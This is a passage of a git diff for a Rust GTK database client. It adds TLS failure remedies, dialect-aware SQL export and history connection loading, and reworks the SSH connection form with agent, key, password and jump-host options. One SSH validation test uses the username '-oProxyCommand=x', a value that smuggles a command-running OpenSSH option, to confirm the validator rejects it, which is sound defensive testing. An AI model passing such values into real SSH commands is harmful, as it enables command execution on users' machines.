a/linux/crates/app/src/ui/error_text/tls_remedy.rs b/linux/crates/app/src/ui/error_text/tls_remedy.rs new file mode 100644 index 0000000000..cece0fe1de --- /dev/null +++ b/linux/crates/app/src/ui/error_text/tls_remedy.rs @@ -0,0 +1,72 @@ +use tablepro_core::{DriverError, TlsFailure}; +use tablepro_session::ConnectError; + +/// The one setting that fixes a TLS failure, when there is one the +/// user can change in the connect dialog. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum TlsRemedy { + ChooseCaCertificate, + SetServerName, +} + +impl TlsRemedy { + /// The toast button that takes the user to the setting. + pub fn label(self) -> String { + match self { + Self::ChooseCaCertificate => crate::i18n::gettext("Choose CA Certificate…"), + Self::SetServerName => crate::i18n::gettext("Set TLS Server Name"), + } + } +} + +/// Only an unknown issuer and a name mismatch are fixed from this side; +/// an expired or revoked certificate is the server's to replace. +pub fn remedy(failure: TlsFailure) -> Option { + match failure { + TlsFailure::UnknownIssuer => Some(TlsRemedy::ChooseCaCertificate), + TlsFailure::NameMismatch => Some(TlsRemedy::SetServerName), + TlsFailure::Expired + | TlsFailure::NotYetValid + | TlsFailure::Revoked + | TlsFailure::ServerRefusedTls + | TlsFailure::ServerRequiresTls + | TlsFailure::HandshakeRejected + | TlsFailure::CaFileInvalid + | TlsFailure::ClientIdentityInvalid + | TlsFailure::Other => None, + } +} + +/// The remedy for a connect that failed on TLS. +pub fn connect_remedy(error: &ConnectError) -> Option { + match error { + ConnectError::Driver(DriverError::Tls { failure, .. }) => remedy(*failure), + _ => None, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn unknown_issuer_and_name_mismatch_have_actions() { + assert_eq!(remedy(TlsFailure::UnknownIssuer), Some(TlsRemedy::ChooseCaCertificate)); + assert_eq!(remedy(TlsFailure::NameMismatch), Some(TlsRemedy::SetServerName)); + for failure in [TlsFailure::Expired, TlsFailure::Revoked, TlsFailure::Other] { + assert_eq!(remedy(failure), None, "{failure:?}"); + } + assert_ne!(TlsRemedy::ChooseCaCertificate.label(), TlsRemedy::SetServerName.label()); + } + + #[test] + fn a_connect_error_carries_the_remedy_of_its_tls_failure() { + let error = ConnectError::Driver(DriverError::Tls { + failure: TlsFailure::NameMismatch, + detail: "certificate is for db.internal".to_owned(), + }); + + assert_eq!(connect_remedy(&error), Some(TlsRemedy::SetServerName)); + assert_eq!(connect_remedy(&ConnectError::Cancelled), None); + } +} diff --git a/linux/crates/app/src/ui/export_dialog.rs b/linux/crates/app/src/ui/export_dialog.rs index cd5b02d402..097a0a70a9 100644 --- a/linux/crates/app/src/ui/export_dialog.rs +++ b/linux/crates/app/src/ui/export_dialog.rs @@ -1,20 +1,29 @@ use std::rc::Rc; +use std::sync::Arc; use relm4::adw::prelude::*; use relm4::gtk::gio; use relm4::{adw, gtk}; use tablepro_core::QueryResult; +use tablepro_core::dialect::SqlDialect; use tablepro_core::export::{self, CsvDecimal, CsvDelimiter, CsvLineBreak, CsvOptions, CsvQuote}; -/// What a result needs to be written back as `INSERT` statements. +/// The table a result can be written back to as `INSERT` statements. /// -/// A browse tab knows both; a query result does not, because it may -/// join several tables or none, so SQL is not offered for one. +/// A browse tab knows it; a query result does not, because it may join +/// several tables or none, so SQL is not offered for one. #[derive(Debug, Clone)] pub struct SqlTarget { pub table: String, - pub driver_id: String, +} + +/// A table to insert into and the spelling of the server the rows came +/// from. SQL is offered only with both. +#[derive(Debug, Clone)] +struct InsertTarget { + table: String, + dialect: Arc, } #[derive(Clone, Copy, PartialEq, Eq)] @@ -49,7 +58,7 @@ impl Format { Format::Sql, ]; - fn offered(target: Option<&SqlTarget>) -> &'static [Format] { + fn offered(target: Option<&InsertTarget>) -> &'static [Format] { match target { Some(_) => &Self::ALL_WITH_SQL, None => &Self::ALL, @@ -161,8 +170,13 @@ pub fn present( result: QueryResult, name: String, target: Option, + dialect: Option>, settings: &Rc, ) { + let target = target.zip(dialect).map(|(target, dialect)| InsertTarget { + table: target.table, + dialect, + }); let formats = Format::offered(target.as_ref()); let page = adw::PreferencesPage::new(); @@ -326,7 +340,7 @@ pub fn present( struct Export { format: Format, name: String, - target: Option, + target: Option, result: QueryResult, options: CsvOptions, } @@ -378,13 +392,12 @@ fn save_with_file_dialog(parent: &adw::ApplicationWindow, toast_overlay: &adw::T Format::Html => Ok(export::render_html(&result.columns, &result.rows, &title).into_bytes()), Format::Xml => Ok(export::render_xml(&result.columns, &result.rows).into_bytes()), Format::Sql => match target.as_ref() { - Some(target) => Ok(export::render_sql_insert( - tablepro_core::dialect::dialect_for(&target.driver_id), - &target.table, - &result.columns, - &result.rows, - ) - .into_bytes()), + Some(target) => { + Ok( + export::render_sql_insert(&*target.dialect, &target.table, &result.columns, &result.rows) + .into_bytes(), + ) + } // The format is only offered with a target, so this is // unreachable through the dialog. None => Err(crate::i18n::gettext("This result has no table to insert into.")), diff --git a/linux/crates/app/src/ui/filter_strip.rs b/linux/crates/app/src/ui/filter_strip.rs index 4057e2861f..fd5d99e70e 100644 --- a/linux/crates/app/src/ui/filter_strip.rs +++ b/linux/crates/app/src/ui/filter_strip.rs @@ -71,7 +71,7 @@ enum ValueShape { /// the builder accepts cannot drift apart: an operator the user can /// pick is one the filter can be built from. fn operators_for(column: &ColumnInfo) -> Vec { - tablepro_core::operators_for(column.column_type.kind()) + tablepro_core::operators_for(&column.column_type.kind) .iter() .map(|op| OpEntry { op: *op, @@ -118,7 +118,7 @@ fn shape_for(op: FilterOp) -> ValueShape { /// compare against one, so offering it would only lead to a filter /// that never matches. fn is_filterable(col: &ColumnInfo) -> bool { - !matches!(col.column_type.kind(), tablepro_core::column::ColumnKind::Binary) + !matches!(col.column_type.kind, tablepro_core::column::ColumnKind::Bytes { .. }) } /// A column the dialog can fall back on when the schema has not @@ -724,7 +724,7 @@ fn build_rule_row( /// A numeric column gets the number keypad on a touch keyboard. fn input_purpose_for(column: &ColumnInfo) -> gtk::InputPurpose { - match column.column_type.kind().is_numeric() { + match column.column_type.kind.is_numeric() { true => gtk::InputPurpose::Number, false => gtk::InputPurpose::FreeForm, } diff --git a/linux/crates/app/src/ui/grid.rs b/linux/crates/app/src/ui/grid.rs index 06d2552704..75366366d8 100644 --- a/linux/crates/app/src/ui/grid.rs +++ b/linux/crates/app/src/ui/grid.rs @@ -217,7 +217,7 @@ pub fn build_column_view( let cell_editable = editable && match schema_columns.get(i) { Some(catalog) => is_cell_editable(catalog), - None => !is_bytes_kind(column.column_type.kind()), + None => !is_bytes_kind(&column.column_type.kind), }; let col = build_column( column, @@ -317,9 +317,9 @@ fn build_column( ) -> gtk::ColumnViewColumn { let factory = gtk::SignalListItemFactory::new(); - let column_data_type = info.column_type.name().as_sql().to_owned(); + let column_data_type = info.column_type.name.clone(); let column_name = info.name.clone(); - let accepts_empty = info.column_type.kind().accepts_empty_string(); + let accepts_empty = info.column_type.kind.accepts_empty_string(); let column_view_for_setup = column_view.clone(); factory.connect_setup(move |_, item| { let Some(item) = item.downcast_ref::() else { @@ -844,8 +844,8 @@ fn is_int_type(data_type: &str) -> bool { } /// Detect whether a column is floating-point typed. Decimal / -/// numeric / money are intentionally excluded because `rust_decimal` -/// is arbitrary-precision and `GtkSpinButton` is f64-internally. +/// numeric / money are left out because `SqlDecimal` keeps every digit +/// and `GtkSpinButton` holds an f64. fn is_float_type(data_type: &str) -> bool { let dt = data_type.to_ascii_lowercase(); matches!(dt.as_str(), "float" | "double" | "real" | "double precision") || dt.starts_with("float(") @@ -1092,8 +1092,8 @@ fn show_calendar_popover(label: &super::cell_editor::CellEditor, col_index: usiz /// commits and closes; Esc / click-outside cancels. `is_float = true` /// configures the adjustment for fractional values with 6 digits of /// precision; `false` for integers (no decimals). Decimal columns -/// stay on the text-edit path because GtkSpinButton is f64-internally -/// and would lose `rust_decimal` precision. +/// stay on the text-edit path because GtkSpinButton holds an f64 and +/// would drop digits a `SqlDecimal` keeps. fn show_spin_button_popover( label: &super::cell_editor::CellEditor, col_index: usize, @@ -2015,12 +2015,12 @@ fn is_cell_editable(col: &ColumnInfo) -> bool { // a user-supplied value would be rejected at commit. // Auto-increment non-PK: rare but possible; same rejection at commit. // Bytes / blobs: not text-editable in any meaningful way. - !col.primary_key && !col.is_generated && !col.is_auto_increment && !is_bytes_kind(col.column_type.kind()) + !col.primary_key && !col.is_generated && !col.is_auto_increment && !is_bytes_kind(&col.column_type.kind) } /// A blob has no text form to type into, so the grid never offers one. -fn is_bytes_kind(kind: tablepro_core::column::ColumnKind) -> bool { - matches!(kind, tablepro_core::column::ColumnKind::Binary) +fn is_bytes_kind(kind: &tablepro_core::column::ColumnKind) -> bool { + matches!(kind, tablepro_core::column::ColumnKind::Bytes { .. }) } #[derive(Debug)] @@ -2191,13 +2191,16 @@ mod tests { let kind = tablepro_core::column::classify_type_name(data_type); ColumnInfo { name: "x".into(), - column_type: tablepro_core::column::ColumnType::new( - tablepro_core::column::SqlTypeExpr::from_catalog_text(data_type), + column_type: tablepro_core::column::ColumnType { + name: data_type.to_owned(), + dynamic_storage: tablepro_core::column::has_dynamic_storage(&kind), kind, - tablepro_core::column::CatalogType::Unknown, - tablepro_core::column::has_dynamic_storage(kind), - tablepro_core::column::ReadForm::Native, - ), + catalog: Some(tablepro_core::column::CatalogType { + declaration: tablepro_core::column::SqlTypeExpr::from_catalog_text(data_type), + cast_target: tablepro_core::column::SqlTypeExpr::from_catalog_text(data_type), + }), + read_form: tablepro_core::column::ReadForm::Native, + }, nullable: true, primary_key, is_auto_increment: false, @@ -2247,7 +2250,7 @@ mod tests { // number or a date can only mean NULL. for text in ["text", "VARCHAR(255)", "char(3)", "longtext"] { assert!( - col(text, false).column_type.kind().accepts_empty_string(), + col(text, false).column_type.kind.accepts_empty_string(), "{text} should accept an empty string" ); } @@ -2261,7 +2264,7 @@ mod tests { "boolean", ] { assert!( - !col(other, false).column_type.kind().accepts_empty_string(), + !col(other, false).column_type.kind.accepts_empty_string(), "{other} should not accept an empty string" ); } diff --git a/linux/crates/app/src/ui/history_dialog.rs b/linux/crates/app/src/ui/history_dialog.rs index f99ccf5d89..bf9f8ebfe1 100644 --- a/linux/crates/app/src/ui/history_dialog.rs +++ b/linux/crates/app/src/ui/history_dialog.rs @@ -10,7 +10,7 @@ use tablepro_session::runtime::Tasks; use tablepro_storage::QueryHistory; use tablepro_storage::query_history::{Entry, SearchFilter}; -use crate::services::database_service::{self, ConnectionMetadata}; +use uuid::Uuid; pub struct HistoryDialog { history: Option, @@ -25,6 +25,8 @@ pub struct HistoryDialog { status_page: adw::StatusPage, filter_connection: adw::ComboRow, + /// The connection filter's labels, after "All connections". + connection_labels: gtk::StringList, filter_status: adw::ComboRow, filter_window: adw::ComboRow, /// Pending debounced search timeout. Replaces the previous fire- @@ -37,7 +39,10 @@ pub struct HistoryDialog { selection_bar: gtk::Revealer, selection_label: gtk::Label, - connections: Vec, + /// Every connection the history holds entries for, in the order the + /// filter lists them, so a connection that is not open can still be + /// picked. + connections: Vec<(Uuid, String)>, selected_ids: HashSet, entries: Vec, row_popovers: Vec, @@ -72,6 +77,7 @@ pub enum HistoryDialogInput { ClearAllRequested, ClearAllConfirmed, OpenStorageLocation, + ConnectionsLoaded(Vec<(Uuid, String)>), } #[derive(Debug)] @@ -117,13 +123,8 @@ impl Component for HistoryDialog { .popover(&filter_popover) .build(); - let connections = database_service::instance().all_connections(); - - let conn_strings: Vec = std::iter::once(crate::i18n::gettext("All connections")) - .chain(connections.iter().map(|m| m.name.clone())) - .collect(); - let conn_strings_ref: Vec<&str> = conn_strings.iter().map(String::as_str).collect(); - let conn_model = gtk::StringList::new(&conn_strings_ref); + // The connections fill in once the history has listed them. + let conn_model = gtk::StringList::new(&[crate::i18n::gettext("All connections").as_str()]); let filter_connection = adw::ComboRow::builder() .title(crate::i18n::gettext("Connection")) .model(&conn_model) @@ -387,12 +388,13 @@ impl Component for HistoryDialog { stack, status_page, filter_connection, + connection_labels: conn_model, filter_status, filter_window, filter_debounce: std::rc::Rc::new(std::cell::RefCell::new(None)), selection_bar, selection_label, - connections, + connections: Vec::new(), selected_ids: HashSet::new(), entries: Vec::new(), row_popovers: Vec::new(), @@ -400,6 +402,7 @@ impl Component for HistoryDialog { select_mode: false, }; + model.load_connections(&sender); sender.input(HistoryDialogInput::Refresh); ComponentParts { model, widgets: () } @@ -599,6 +602,13 @@ impl Component for HistoryDialog { ); } } + + HistoryDialogInput::ConnectionsLoaded(connections) => { + for (_, name) in &connections { + self.connection_labels.append(name); + } + self.connections = connections; + } } } @@ -622,6 +632,24 @@ impl HistoryDialog { &self.root } + /// Read which connections the history has entries for, on the + /// runtime because the history is a database. + fn load_connections(&self, sender: &ComponentSender) { + let Some(history) = self.history.clone() else { + return; + }; + let sender = sender.clone(); + crate::runtime::spawn_and_deliver( + &self.tasks, + async move { history.known_connections().await }, + move |listed| match listed { + Ok(Ok(connections)) => sender.input(HistoryDialogInput::ConnectionsLoaded(connections)), + Ok(Err(error)) => tracing::warn!(%error, "could not list the connections in the history"), + Err(failure) => tracing::warn!(%failure, "the history connections task failed"), + }, + ); + } + /// Run the search immediately. Triggered by Refresh (initial load /// + after any mutation) and by the debounced timeout firing. fn run_search(&self, sender: ComponentSender) { @@ -677,7 +705,7 @@ impl HistoryDialog { } else { self.connections .get((self.filter_connection.selected() - 1) as usize) - .map(|m| m.id) + .map(|(id, _)| *id) }; let (success_only, exclude_cancelled) = match self.filter_status.selected() { 0 => (None, None), diff --git a/linux/crates/app/src/ui/icons.rs b/linux/crates/app/src/ui/icons.rs index 11032ddb48..05a7b9defc 100644 --- a/linux/crates/app/src/ui/icons.rs +++ b/linux/crates/app/src/ui/icons.rs @@ -6,6 +6,7 @@ pub const DIALOG_WARNING: &str = "dialog-warning-symbolic"; pub const DOCUMENT_OPEN: &str = "document-open-symbolic"; pub const DOCUMENT_OPEN_RECENT: &str = "document-open-recent-symbolic"; pub const DOCUMENT_SAVE: &str = "document-save-symbolic"; +pub const EDIT_CLEAR: &str = "edit-clear-symbolic"; pub const EDIT_COPY: &str = "edit-copy-symbolic"; pub const GO_FIRST: &str = "go-first-symbolic"; pub const GO_LAST: &str = "go-last-symbolic"; @@ -19,6 +20,7 @@ pub const PAN_DOWN: &str = "pan-down-symbolic"; pub const PREFERENCES_SYSTEM: &str = "preferences-system-symbolic"; pub const PROCESS_STOP: &str = "process-stop-symbolic"; pub const STATEMENT_PENDING: &str = "statement-pending-symbolic"; +pub const SIDEBAR_SHOW: &str = "sidebar-show-symbolic"; pub const SUCCESS: &str = "object-select-symbolic"; pub const SYSTEM_SEARCH: &str = "system-search-symbolic"; pub const TABLE_RELATION: &str = "table-relation-symbolic"; @@ -46,6 +48,7 @@ pub const ALL: &[&str] = &[ DOCUMENT_OPEN, DOCUMENT_OPEN_RECENT, DOCUMENT_SAVE, + EDIT_CLEAR, EDIT_COPY, GO_FIRST, GO_LAST, @@ -58,6 +61,7 @@ pub const ALL: &[&str] = &[ PAN_DOWN, PREFERENCES_SYSTEM, PROCESS_STOP, + SIDEBAR_SHOW, STATEMENT_PENDING, SUCCESS, SYSTEM_SEARCH, diff --git a/linux/crates/app/src/ui/mod.rs b/linux/crates/app/src/ui/mod.rs index fab114553a..967546fe4e 100644 --- a/linux/crates/app/src/ui/mod.rs +++ b/linux/crates/app/src/ui/mod.rs @@ -5,6 +5,7 @@ mod connect_dialog; mod connection_list; mod connection_list_banner; mod connection_row; +pub(crate) mod credential_prompt; mod editor; mod editor_font_provider; pub(crate) mod error_text; diff --git a/linux/crates/app/src/ui/sidebar_row.rs b/linux/crates/app/src/ui/sidebar_row.rs index da9b5d7658..15a76fc235 100644 --- a/linux/crates/app/src/ui/sidebar_row.rs +++ b/linux/crates/app/src/ui/sidebar_row.rs @@ -5,11 +5,11 @@ use relm4::gtk::glib; use relm4::gtk::pango; use relm4::gtk::prelude::*; -use tablepro_core::TableInfo; +use tablepro_core::meta::ObjectInfo; #[derive(Debug)] pub struct SidebarRow { - pub info: TableInfo, + pub info: ObjectInfo, /// The eagerly-parented context-menu popover. Held on the model /// so `shutdown` can `unparent()` it before the row's root widget /// is finalized — without this, GTK warns @@ -54,7 +54,7 @@ pub enum SidebarRowOutput { #[relm4::factory(pub)] impl FactoryComponent for SidebarRow { - type Init = TableInfo; + type Init = ObjectInfo; type Input = SidebarRowMsg; type Output = SidebarRowOutput; type CommandOutput = (); diff --git a/linux/crates/app/src/ui/ssh_inputs.rs b/linux/crates/app/src/ui/ssh_inputs.rs index 29d4df721a..5a829fe15a 100644 --- a/linux/crates/app/src/ui/ssh_inputs.rs +++ b/linux/crates/app/src/ui/ssh_inputs.rs @@ -1,140 +1,462 @@ -use std::path::PathBuf; +use std::path::{Path, PathBuf}; +use secrecy::{ExposeSecret, SecretString}; +use tablepro_ssh::{SshAuth, SshConfig, SshDestination}; use tablepro_storage::{SavedSshAuth, SavedSshConfig}; -pub const SSH_AUTH_PASSWORD: u32 = 0; -pub const SSH_AUTH_KEY: u32 = 1; +/// How the SSH server is logged in to, in the order the combo shows +/// them. OpenSSH does the work for each; the app only picks which one +/// it tries first. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum SshAuthChoice { + Agent, + PrivateKey, + Password, + KeyboardInteractive, +} + +impl SshAuthChoice { + pub const ALL: [Self; 4] = [Self::Agent, Self::PrivateKey, Self::Password, Self::KeyboardInteractive]; + + pub fn label(self) -> String { + match self { + Self::Agent => crate::i18n::gettext("SSH agent"), + Self::PrivateKey => crate::i18n::gettext("Private key"), + Self::Password => crate::i18n::gettext("Password"), + Self::KeyboardInteractive => crate::i18n::gettext("Keyboard-interactive"), + } + } + + /// What the choice does, for the combo row's subtitle. + pub fn description(self) -> String { + match self { + Self::Agent => crate::i18n::gettext("Keys from the SSH agent and your SSH configuration"), + Self::PrivateKey => crate::i18n::gettext("A key file, unlocked with its passphrase if it has one"), + Self::Password => crate::i18n::gettext("The SSH server's own password"), + Self::KeyboardInteractive => crate::i18n::gettext("The SSH server asks its own questions, such as a code"), + } + } + + pub fn index(self) -> u32 { + Self::ALL.iter().position(|choice| *choice == self).unwrap_or(0) as u32 + } + + pub fn from_index(index: u32) -> Self { + Self::ALL.get(index as usize).copied().unwrap_or(Self::Agent) + } + + /// An agent that is running already holds the keys the user logs in + /// with everywhere else, so it goes first; a key on disk comes next. + pub fn default_for(environment: &SshEnvironment) -> Self { + if environment.agent { + Self::Agent + } else if environment.default_key.is_some() { + Self::PrivateKey + } else { + Self::Password + } + } + + fn of_saved(auth: &SavedSshAuth) -> Self { + match auth { + SavedSshAuth::Agent => Self::Agent, + SavedSshAuth::PrivateKey { .. } => Self::PrivateKey, + SavedSshAuth::Password => Self::Password, + SavedSshAuth::KeyboardInteractive => Self::KeyboardInteractive, + } + } +} + +/// What the machine offers for SSH logins, read once when the dialog +/// opens so a test can say what it has instead. +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct SshEnvironment { + pub agent: bool, + pub default_key: Option, +} + +impl SshEnvironment { + pub fn detect() -> Self { + let agent = std::env::var_os("SSH_AUTH_SOCK").is_some_and(|socket| !socket.is_empty()); + let ssh_dir = glib::home_dir().join(".ssh"); + let default_key = ["id_ed25519", "id_ecdsa", "id_rsa"] + .into_iter() + .map(|candidate| ssh_dir.join(candidate)) + .find(|path| path.exists()); + Self { agent, default_key } + } +} -#[derive(Debug, Clone, PartialEq)] -pub struct SshRowValues { +/// The SSH rows as typed. Port, username and jump hosts may be empty: +/// OpenSSH then takes them from the user's SSH configuration, which is +/// also where a host alias is resolved. +#[derive(Debug, Clone)] +pub struct SshFormState { pub host: String, - pub port: f64, + pub port: String, pub user: String, - pub auth_index: u32, + pub jump_hosts: String, + pub auth: SshAuthChoice, pub key_path: String, - pub has_passphrase_text: bool, + pub password: SecretString, + pub passphrase: SecretString, +} + +impl SshFormState { + pub fn new(environment: &SshEnvironment) -> Self { + Self { + host: String::new(), + port: String::new(), + user: String::new(), + jump_hosts: String::new(), + auth: SshAuthChoice::default_for(environment), + key_path: environment + .default_key + .as_deref() + .map(|path| path.to_string_lossy().into_owned()) + .unwrap_or_default(), + password: SecretString::from(String::new()), + passphrase: SecretString::from(String::new()), + } + } + + /// The rows a saved SSH section fills. Secrets stay in the keyring. + pub fn from_saved(saved: &SavedSshConfig) -> Self { + let key_path = match &saved.auth { + SavedSshAuth::PrivateKey { path, .. } => path.as_deref().map(Path::to_string_lossy).unwrap_or_default(), + _ => Default::default(), + }; + Self { + host: saved.host.clone(), + port: saved.port.map(|port| port.to_string()).unwrap_or_default(), + user: saved.username.clone().unwrap_or_default(), + jump_hosts: saved.jump_hosts.join(", "), + auth: SshAuthChoice::of_saved(&saved.auth), + key_path: key_path.into_owned(), + password: SecretString::from(String::new()), + passphrase: SecretString::from(String::new()), + } + } + + /// What is saved, which never holds a secret. + pub fn saved(&self) -> Result { + let host = self.host.trim(); + if host.is_empty() { + return Err(SshInputError::HostRequired); + } + let port = match self.port.trim() { + "" => None, + text => Some( + text.parse::() + .ok() + .filter(|port| *port != 0) + .ok_or(SshInputError::PortOutOfRange)?, + ), + }; + let user = Some(self.user.trim().to_owned()).filter(|user| !user.is_empty()); + if let Some(user) = &user + && let Err(failure) = SshDestination::new("host", None, Some(user.clone())) + { + return Err(SshInputError::UserInvalid(failure.to_string())); + } + if let Err(failure) = SshDestination::new(host, port, None) { + return Err(SshInputError::HostInvalid(failure.to_string())); + } + let jump_hosts = match self.jump_hosts.trim() { + "" => Vec::new(), + list => { + SshDestination::parse_jump_list(list) + .map_err(|failure| SshInputError::JumpHostsInvalid(failure.to_string()))?; + vec![list.to_owned()] + } + }; + let auth = match self.auth { + SshAuthChoice::Agent => SavedSshAuth::Agent, + SshAuthChoice::Password => SavedSshAuth::Password, + SshAuthChoice::KeyboardInteractive => SavedSshAuth::KeyboardInteractive, + SshAuthChoice::PrivateKey => { + let path = self.key_path.trim(); + if path.is_empty() { + return Err(SshInputError::KeyPathRequired); + } + SavedSshAuth::PrivateKey { + path: Some(PathBuf::from(path)), + has_passphrase: !self.passphrase.expose_secret().is_empty(), + } + } + }; + Ok(SavedSshConfig { + host: host.to_owned(), + port, + username: user, + jump_hosts, + auth, + }) + } + + /// The configuration a connect uses, the entry that is saved, and + /// which secret the keyring should keep. + pub fn inputs(&self) -> Result { + let saved = self.saved()?; + let mut cfg = tablepro_session::connect::ssh_config(&saved) + .map_err(|failure| SshInputError::HostInvalid(failure.to_string()))?; + let secret_to_store = fill_secret(&mut cfg, self.password.clone(), self.passphrase.clone()); + Ok(SshInputs { + cfg, + saved, + secret_to_store, + }) + } +} + +#[derive(Clone)] +pub struct SshInputs { + pub cfg: SshConfig, + pub saved: SavedSshConfig, + pub secret_to_store: SshSecretToStore, +} + +#[derive(Clone)] +pub enum SshSecretToStore { + Password(SecretString), + Passphrase(SecretString), + None, } -#[derive(Debug, Clone, Copy, PartialEq, Eq)] +#[derive(Debug, Clone, PartialEq, Eq)] pub enum SshInputError { HostRequired, + HostInvalid(String), PortOutOfRange, - UserRequired, + UserInvalid(String), + JumpHostsInvalid(String), KeyPathRequired, - UnknownAuth, } impl SshInputError { - pub fn message(self) -> String { + pub fn message(&self) -> String { match self { - Self::HostRequired => crate::i18n::gettext("SSH host is required"), - Self::PortOutOfRange => crate::i18n::gettext("SSH port must be a whole number from 1 to 65535"), - Self::UserRequired => crate::i18n::gettext("SSH username is required"), - Self::KeyPathRequired => crate::i18n::gettext("Private key path is required"), - Self::UnknownAuth => crate::i18n::gettext("Choose an SSH authentication method"), + Self::HostRequired => crate::i18n::gettext("Enter the SSH server's host name or its alias."), + Self::HostInvalid(detail) => { + crate::i18n::gettext_f("The SSH host cannot be used: {detail}", &[("detail", detail)]) + } + Self::PortOutOfRange => crate::i18n::gettext("The SSH port must be a number from 1 to 65535."), + Self::UserInvalid(detail) => { + crate::i18n::gettext_f("The SSH username cannot be used: {detail}", &[("detail", detail)]) + } + Self::JumpHostsInvalid(detail) => { + crate::i18n::gettext_f("The jump hosts cannot be used: {detail}", &[("detail", detail)]) + } + Self::KeyPathRequired => crate::i18n::gettext("Choose the private key file."), } } + + /// Whether the row is only empty. An empty row is not marked as an + /// error before the user has typed anything into it. + pub fn is_missing(&self) -> bool { + matches!(self, Self::HostRequired | Self::KeyPathRequired) + } } -pub fn saved_ssh_from_rows(rows: &SshRowValues) -> Result { - let host = rows.host.trim(); - if host.is_empty() { - return Err(SshInputError::HostRequired); - } - if !(1.0..=65535.0).contains(&rows.port) || rows.port.fract() != 0.0 { - return Err(SshInputError::PortOutOfRange); - } - let port = rows.port as u16; - let user = rows.user.trim(); - if user.is_empty() { - return Err(SshInputError::UserRequired); - } - let auth = match rows.auth_index { - SSH_AUTH_PASSWORD => SavedSshAuth::Password, - SSH_AUTH_KEY => { - let path = rows.key_path.trim(); - if path.is_empty() { - return Err(SshInputError::KeyPathRequired); - } - SavedSshAuth::PrivateKey { - path: Some(PathBuf::from(path)), - has_passphrase: rows.has_passphrase_text, +/// Put the typed secret into the configuration the rows produced, and +/// say which one the keyring should keep. A key with no passphrase typed +/// keeps none, so ssh asks for it itself if the key needs one. +fn fill_secret(cfg: &mut SshConfig, password: SecretString, passphrase: SecretString) -> SshSecretToStore { + match &mut cfg.auth { + SshAuth::Password { password: slot } => { + *slot = password.clone(); + SshSecretToStore::Password(password) + } + SshAuth::PrivateKey { passphrase: slot, .. } => { + if passphrase.expose_secret().is_empty() { + return SshSecretToStore::None; } + *slot = Some(passphrase.clone()); + SshSecretToStore::Passphrase(passphrase) } - _ => return Err(SshInputError::UnknownAuth), - }; - Ok(SavedSshConfig { - host: host.to_owned(), - port: Some(port), - username: Some(user.to_owned()), - jump_hosts: Vec::new(), - auth, - }) + SshAuth::Agent | SshAuth::KeyboardInteractive => SshSecretToStore::None, + } } #[cfg(test)] mod tests { use super::*; - fn rows(auth_index: u32) -> SshRowValues { - SshRowValues { + fn rows(auth: SshAuthChoice) -> SshFormState { + SshFormState { host: " bastion.example.com ".to_owned(), - port: 2222.0, + port: "2222".to_owned(), user: "deploy".to_owned(), - auth_index, + jump_hosts: String::new(), + auth, key_path: "/home/deploy/.ssh/id_ed25519".to_owned(), - has_passphrase_text: true, + password: SecretString::from("s3cret"), + passphrase: SecretString::from(""), } } #[test] - fn saved_ssh_from_rows_password_and_key() { - let password = saved_ssh_from_rows(&rows(SSH_AUTH_PASSWORD)).unwrap(); - assert_eq!(password.host, "bastion.example.com"); - assert_eq!(password.port, Some(2222)); - assert_eq!(password.username.as_deref(), Some("deploy")); - assert!(password.jump_hosts.is_empty()); - assert_eq!(password.auth, SavedSshAuth::Password); - - let key = saved_ssh_from_rows(&rows(SSH_AUTH_KEY)).unwrap(); + fn every_auth_choice_round_trips_through_its_index() { + for choice in SshAuthChoice::ALL { + assert_eq!(SshAuthChoice::from_index(choice.index()), choice); + } + assert_eq!(SshAuthChoice::from_index(99), SshAuthChoice::Agent); + } + + #[test] + fn agent_is_the_default_when_one_runs_then_a_key_then_a_password() { + let key = Some(PathBuf::from("/home/u/.ssh/id_ed25519")); + let cases = [ + (true, key.clone(), SshAuthChoice::Agent), + (true, None, SshAuthChoice::Agent), + (false, key, SshAuthChoice::PrivateKey), + (false, None, SshAuthChoice::Password), + ]; + for (agent, default_key, expected) in cases { + let environment = SshEnvironment { agent, default_key }; + assert_eq!(SshAuthChoice::default_for(&environment), expected, "{environment:?}"); + } + } + + #[test] + fn port_user_and_jump_hosts_may_come_from_the_ssh_config() { + let alias = SshFormState { + host: "prod-bastion".to_owned(), + port: String::new(), + user: " ".to_owned(), + ..rows(SshAuthChoice::Agent) + }; + + let saved = alias.saved().expect("an alias alone is enough"); + + assert_eq!(saved.host, "prod-bastion"); + assert_eq!(saved.port, None); + assert_eq!(saved.username, None); + assert!(saved.jump_hosts.is_empty()); + assert_eq!(saved.auth, SavedSshAuth::Agent); + } + + #[test] + fn ssh_key_auth_requires_path() { + let missing = SshFormState { + key_path: " ".to_owned(), + ..rows(SshAuthChoice::PrivateKey) + }; + assert_eq!(missing.saved(), Err(SshInputError::KeyPathRequired)); + + let key = rows(SshAuthChoice::PrivateKey).saved().expect("a key login"); assert_eq!( key.auth, SavedSshAuth::PrivateKey { path: Some(PathBuf::from("/home/deploy/.ssh/id_ed25519")), - has_passphrase: true, + has_passphrase: false, } ); + } - let missing_key = SshRowValues { - key_path: " ".to_owned(), - ..rows(SSH_AUTH_KEY) + #[test] + fn a_bad_row_names_the_row_it_is_in() { + let cases = [ + ( + SshFormState { + host: String::new(), + ..rows(SshAuthChoice::Agent) + }, + "host required", + ), + ( + SshFormState { + port: "70000".to_owned(), + ..rows(SshAuthChoice::Agent) + }, + "port", + ), + ( + SshFormState { + port: "0".to_owned(), + ..rows(SshAuthChoice::Agent) + }, + "port", + ), + ( + SshFormState { + user: "-oProxyCommand=x".to_owned(), + ..rows(SshAuthChoice::Agent) + }, + "user", + ), + ( + SshFormState { + jump_hosts: "jump1,,jump2".to_owned(), + ..rows(SshAuthChoice::Agent) + }, + "jump", + ), + ]; + for (state, row) in cases { + let error = state.saved().expect_err(row); + let matches = match row { + "host required" => error == SshInputError::HostRequired, + "port" => error == SshInputError::PortOutOfRange, + "user" => matches!(error, SshInputError::UserInvalid(_)), + _ => matches!(error, SshInputError::JumpHostsInvalid(_)), + }; + assert!(matches, "{row}: {error:?}"); + } + } + + #[test] + fn a_saved_section_fills_the_rows_it_came_from() { + let typed = SshFormState { + jump_hosts: "ops@jump1:2200, jump2".to_owned(), + ..rows(SshAuthChoice::KeyboardInteractive) }; - assert_eq!(saved_ssh_from_rows(&missing_key), Err(SshInputError::KeyPathRequired)); - let missing_user = SshRowValues { - user: String::new(), - 